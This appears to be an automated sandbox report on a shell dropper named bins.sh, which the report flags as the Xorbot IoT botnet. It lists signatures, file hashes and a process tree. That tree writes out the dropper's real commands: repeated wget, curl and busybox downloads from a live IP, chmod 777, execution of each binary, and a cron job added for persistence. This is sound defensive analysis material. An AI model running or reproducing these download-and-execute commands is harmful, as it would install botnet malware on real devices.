Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/02/2025, 14:18

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250217-rmcdvazldv
  • SHA256 c160ddd32c5bdad5a69efcca1962ca8b69b5fccf4023ed65940e22110fb846a0
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1847) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:647
      • /usr/bin/wget
        wget http://37.44.238.88/bins/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • Writes file to tmp directory
        PID:653
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:674
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • Writes file to tmp directory
        PID:676
      • /bin/chmod
        chmod 777 viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • File and Directory Permissions Modification
        PID:677
      • /tmp/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        ./viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
          PID:678
        • /bin/rm
          rm viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://37.44.238.88/bins/BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
            2⤵
            • Writes file to tmp directory
            PID:681
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:686
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
            2⤵
            • Writes file to tmp directory
            PID:693
          • /bin/chmod
            chmod 777 BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
            2⤵
            • File and Directory Permissions Modification
            PID:696
          • /tmp/BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
            ./BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
            2⤵
              PID:697
            • /bin/rm
              rm BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
              2⤵
                PID:699
              • /usr/bin/wget
                wget http://37.44.238.88/bins/68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                2⤵
                • Writes file to tmp directory
                PID:701
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:734
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                2⤵
                • Writes file to tmp directory
                PID:766
              • /bin/chmod
                chmod 777 68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                2⤵
                • File and Directory Permissions Modification
                PID:768
              • /tmp/68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                ./68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                2⤵
                  PID:769
                • /bin/rm
                  rm 68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                  2⤵
                    PID:771
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                    2⤵
                    • Writes file to tmp directory
                    PID:772
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:773
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                    2⤵
                    • Writes file to tmp directory
                    PID:776
                  • /bin/chmod
                    chmod 777 L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                    2⤵
                    • File and Directory Permissions Modification
                    PID:777
                  • /tmp/L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                    ./L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                    2⤵
                      PID:778
                    • /bin/rm
                      rm L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                      2⤵
                        PID:781
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                        2⤵
                        • Writes file to tmp directory
                        PID:782
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:783
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                        2⤵
                        • Writes file to tmp directory
                        PID:784
                      • /bin/chmod
                        chmod 777 sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                        2⤵
                        • File and Directory Permissions Modification
                        PID:785
                      • /tmp/sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                        ./sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                        2⤵
                          PID:786
                        • /bin/rm
                          rm sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                          2⤵
                            PID:788
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                            2⤵
                            • Writes file to tmp directory
                            PID:789
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:790
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                            2⤵
                            • Writes file to tmp directory
                            PID:791
                          • /bin/chmod
                            chmod 777 MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                            2⤵
                            • File and Directory Permissions Modification
                            PID:792
                          • /tmp/MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                            ./MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                            2⤵
                            • Renames itself
                            • Reads runtime system information
                            PID:793
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:795
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:796
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:797
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      • Reads runtime system information
                                      PID:798
                                • /bin/rm
                                  rm MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                                  2⤵
                                    PID:800
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/einZqkdx226wZNyBGGB2nkCBVElxaLeB5P
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:803

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

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                                      Downloads

                                      68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                                      • Path /tmp/68aGYN5XCEaHNOUCQxel5PfsKTQvM4hGOt
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
                                      • Path /tmp/BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                                      • Path /tmp/L5zQeg8GQgPMPxEGu9JLR7Q7DxpyRoLo5P
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                                      • Path /tmp/MD6mYCiuaF1VBKccVk2bgFHAoYZ6cOH7CG
                                      • Size 177KB
                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      einZqkdx226wZNyBGGB2nkCBVElxaLeB5P
                                      • Path /tmp/einZqkdx226wZNyBGGB2nkCBVElxaLeB5P
                                      • Size 39KB
                                      • SHA256 3ed0dae8142ee1c261f655843f013b98ecfdf59178d09df2246da1d98c4afb3b
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                                      • Path /tmp/sJZpetRMskGW9I1ZQnoaATv1gL1RuyBmdO
                                      • Size 99KB
                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
                                      • Path /tmp/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      tmp.jkYhxA
                                      • Path /var/spool/cron/crontabs/tmp.jkYhxA
                                      • Size 210B
                                      • SHA256 45d36ae84dbc68db17f043687f04f8ab76e31f790dd9d9e7e6683274948864c0
                                      • MD5 SHA1 SHA512
                                      Submit Download